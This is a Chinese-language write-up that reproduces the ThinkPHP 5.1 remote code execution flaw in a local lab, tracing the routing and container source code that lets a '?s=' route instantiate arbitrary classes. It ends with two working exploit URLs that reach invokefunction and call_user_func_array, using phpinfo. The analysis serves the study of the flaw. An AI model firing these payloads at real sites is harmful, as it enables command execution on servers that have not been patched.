Thinkphp5 RCE 复现

环境:

win10+wamp+thinkphp5.1.29

下载地址

源码分析

程序首先跳转到 public目录下的index.php,然后执行 thinkphp/library/think/app.php, 然后运行 run()函数。

public function run()
{
try {
// 初始化应用
$this->initialize(); // 监听app_init
$this->hook->listen('app_init'); if ($this->bindModule) {
// 模块/控制器绑定
$this->route->bind($this->bindModule);
} elseif ($this->config('app.auto_bind_module')) {
// 入口自动绑定
$name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
$this->route->bind($name);
}
} // 监听app_dispatch
$this->hook->listen('app_dispatch'); $dispatch = $this->dispatch; if (empty($dispatch)) {
// 路由检测
$dispatch = $this->routeCheck()->init();
} // 记录当前调度信息
$this->request->dispatch($dispatch); // 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
} // 监听app_begin
$this->hook->listen('app_begin'); // 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
); $data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
} $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
}); $response = $this->middleware->dispatch($this->request); // 监听app_end
$this->hook->listen('app_end', $response); return $response;
}

路由检测通过调用 当前类中的routeCheck()方法,去查看如何检测

 public function routeCheck()
{
// 检测路由缓存
if (!$this->appDebug && $this->config->get('route_check_cache')) {
$routeKey = $this->getRouteCacheKey();
$option = $this->config->get('route_cache_option'); if ($option && $this->cache->connect($option)->has($routeKey)) {
return $this->cache->connect($option)->get($routeKey);
} elseif ($this->cache->has($routeKey)) {
return $this->cache->get($routeKey);
}
} // 获取应用调度信息
$path = $this->request->path(); // 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must'); // 路由检测 返回一个Dispatch对象
$dispatch = $this->route->check($path, $must); if (!empty($routeKey)) {
try {
if ($option) {
$this->cache->connect($option)->tag('route_cache')->set($routeKey, $dispatch);
} else {
$this->cache->tag('route_cache')->set($routeKey, $dispatch);
}
} catch (\Exception $e) {
// 存在闭包的时候缓存无效
}
} return $dispatch;
}
   // 获取应用调度信息qwe
$path = $this->request->path();

这里是调用 request.php 中的 path() 方法。

 public function path()
{
if (is_null($this->path)) {
$suffix = $this->config['url_html_suffix'];
$pathinfo = $this->pathinfo(); if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
} return $this->path;
}

查看当前类中的pathinfo()方法;

public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
} elseif ('cli-server' == PHP_SAPI) {
$pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
} elseif ($this->server('PATH_INFO')) {
$pathinfo = $this->server('PATH_INFO');
} // 分析PATHINFO信息
if (!isset($pathinfo)) {
foreach ($this->config['pathinfo_fetch'] as $type) {
if ($this->server($type)) {
$pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
break;
}
}
} $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
} return $this->pathinfo;
}

look here

 $pathinfo = $_GET[$this->config['var_pathinfo']];

为pathinfo 设置初始值,$this->config['var_pathinfo'] 在 /config/app.php 中有设置,默认值为 ‘s’ ,可以利用 ?s 来传递路由信息。

继续查看run()方法.。

在检查完路由后,会记录路由和请求信息

// 记录路由和请求信息
if ($this->appDebug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeInfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
} // 监听app_begin
$this->hook->listen('app_begin'); // 请求缓存检查
$this->checkRequestCache(
$this->config('request_cache'),
$this->config('request_cache_expire'),
$this->config('request_cache_except')
); $data = null;
} catch (HttpResponseException $exception) {
$dispatch = null;
$data = $exception->getResponse();
} $this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {
return is_null($data) ? $dispatch->run() : $data;
});

$data 被设置为 null ,然后返回 $dispatch->run();

这里的run(),是

thinkphp/library/think/route/dispatch/Module.php 函数init,和exec 的实例,

class Module extends Dispatch
{
protected $controller;
protected $actionName; public function init()
{
parent::init(); $result = $this->dispatch; if (is_string($result)) {
$result = explode('/', $result);
} if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
$bind = $this->rule->getRouter()->getBind();
$available = false; if ($bind && preg_match('/^[a-z]/is', $bind)) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig('empty_module')) {
$module = $this->rule->getConfig('empty_module');
$available = true;
} // 模块初始化
if ($module && $available) {
// 初始化模块
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
} // 是否自动转换控制器和操作名
$convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller; // 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); // 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName); return $this;
}
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init'); try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller')); if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
} $this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix'); if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action]; // 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName); // 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
} $this->app['hook']->listen('action_begin', $call); $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); return $this->autoResponse($data);
}); return $this->app['middleware']->dispatch($this->request, 'controller');
}
}

查看实例化控制器是如何操作的,对应代码,在app.php 里面

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
} throw new ClassNotFoundException('class not exists:' . $class, $class);
}

查看当前类中的 parseModuleAndClass 方法。

   protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
} $class = $this->parseClass($module, $layer, $name, $appendSuffix);
} return [$module, $class];
}

问题来了。

当name 以 \ 开始时 会被当作类名,如果存在此类,会返回 $this->__get($class);

当前类是继承 container 类的,__get()方法在其父类中 找到,(Container.php中)

  public function __get($name)
{
return $this->make($name);
}
public function make($abstract, $vars = [], $newInstance = false)
{
if (true === $vars) {
// 总是创建新的实例化对象
$newInstance = true;
$vars = [];
} $abstract = isset($this->name[$abstract]) ? $this->name[$abstract] : $abstract; if (isset($this->instances[$abstract]) && !$newInstance) {
return $this->instances[$abstract];
} if (isset($this->bind[$abstract])) {
$concrete = $this->bind[$abstract]; if ($concrete instanceof Closure) {
$object = $this->invokeFunction($concrete, $vars);
} else {
$this->name[$abstract] = $concrete;
return $this->make($concrete, $vars, $newInstance);
}
} else {
$object = $this->invokeClass($abstract, $vars);
} if (!$newInstance) {
$this->instances[$abstract] = $object;
} return $object;
}

make 方法 总是会实例化一个类 通过 $name 变量可以控制类名,并把他实例化。

继续审计thinkphp/library/think/route/dispatch/Module.php 中实例化类的操作,

注意查看这一句代码。

// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
} $this->app['hook']->listen('action_begin', $call); $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

​ 获取实例化类对应的参数,然后通过invokeMethod 函数动态调用方法,这里面的逻辑可以自行查看。

下面给出exp

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=-1 index是对应的模块 \think\Container 以反斜线开头,这就是我们想要实例化的类 ,当然,这里的app是继承container 的 ,所以也可以成功。但在tp5.0 里面,只能使用上述payload invokefunction是想\think\Container类想要调用的方法, function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1是对应invokefunction的参数。

总结

第一次漏洞复现,对于如此庞大的源码都不知道该怎么审计,命名空间掌握不是很灵通,类之间的方法相互继承调用确实造成很多不便。

TP5 RCE的更多相关文章

  1. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  2. thinkphp5.x系列 RCE总结

    Thinkphp  MVC开发模式 执行流程: 首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块.控制器.操作方法调度信息 ...

  3. thinkphp 5.1框架利用及rce分析

    前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...

  4. TP5.0源生Excel导出

    PHPExcel类在TP5里边并不能很好的兼容,使用起来很麻烦. 不像是tp3.2那样直接import()加进来就能new,因为它里边的命名空间找不到.总是说undefined class. 如果是使 ...

  5. tp5页面输出时,搜索后跳转下一页的处理

    tp5页面输出时,搜索功能在跳转下一页时,如果不做任何处理,会返回原有是第二页输出的数据.为了保证跳转下一页时输出的是搜索到的数据,做以下处理. (要根据自己的搜索字段进行适当修改) 页面js代码,给 ...

  6. RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject

    catalogue . Java xStream . DynamicProxyConverter . java.beans.EventHandler . RCE via XStream object ...

  7. PHP FastCGI RCE Vul

    catalog . Introduction . nginx文件类型错误解析漏洞 . 针对直接公网开放的Fast-CGI攻击 . 通过FCGI API动态修改php.ini中的配置实现RCE 1. I ...

  8. tp5中的一些小方法

    // 当使用一个新页面替换当前页面的body后,body刷新了,所选择的select值就不能保存住,解决方法如下: 作业题目<select> <option>--请选择--&l ...

  9. tp5文件上传

    //tp5上传文件先 use think\File; //上传文件处理 $file = request()->file('file'); // 获取表单提交过来的文件 $error = $_FI ...

随机推荐

  1. 华为方舟编译器正式支持C语言:完全开源

    投递人 itwriter 发布于 2020-10-14 19:08 评论(15) 有1938人阅读 原文链接 2019 年 8 月底,华为方舟编译器(OpenArkCompiler)正式开源,迈出了跨 ...

  2. day36 Pyhton 网络编程03

    一.内容回顾 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. sock ...

  3. day06 Pyhton学习

    一.昨日内容回顾 字典: 由{}表示,内部存储key:value 要求: key不能重复 key必须可哈希.不可变 value没有限制 没有索引和切片 增删改查 新增: dic.[新key]=valu ...

  4. 程序3-6 WERTYU

    把手放在键盘上时,稍不注意就会往右错一 位.这样,输入Q会变成输入W,输入J会变成输 入K等.键盘如图3-2所示. 输入一个错位后敲出的字符串(所有字母均 大写),输出打字员本来想打出的句子.输入保 ...

  5. pytest+allure生成接口自动化测试报告

    准备环境 1.安装pytest pip install pytest -i http://pypi.douban.com/simple pytest-ordering pytest.main([ &q ...

  6. linux学习(一)--启动文件bootsect.s

     这是linux由BIOS加载后执行的第一段的启动程序代码,即文件 boot/bootsect.s  首先附图,简单介绍一下从开机加电到第一段linux代码执行的简要过程 1 .globl begte ...

  7. vm虚拟机设置共享文件夹不显示

    1. 确认VMtools已经装好,开启共享文件夹,设置好共享目录 2.执行命令 sudo mount -t vmhgfs .host:/ /mnt/hgfs如果出现错误: Error: cannot ...

  8. linux(centos8):prometheus使用alertmanager发送报警邮件(prometheus 2.18.1/alertmanager 0.20.0)

    一,alertmanager的用途 1,Alertmanager的作用: Alertmanager是一个独立的报警模块, 它接收Prometheus等客户端发来的警报,并通过分组.删除重复等处理, 通 ...

  9. php+nginx 整合

    php编译 https://www.cnblogs.com/php-linux/p/12360858.html nginx编译 https://www.cnblogs.com/php-linux/p/ ...

  10. Baolu CSV Data Set Config

    1.背景 大家在平常使用JMeter测试工具时,对CSV Data Set Config 配置元件肯定不会陌生.如果我们的压测场景涉及到数据库更新操作(如:转账接接口)则需要对参数化数据进行分块,可就 ...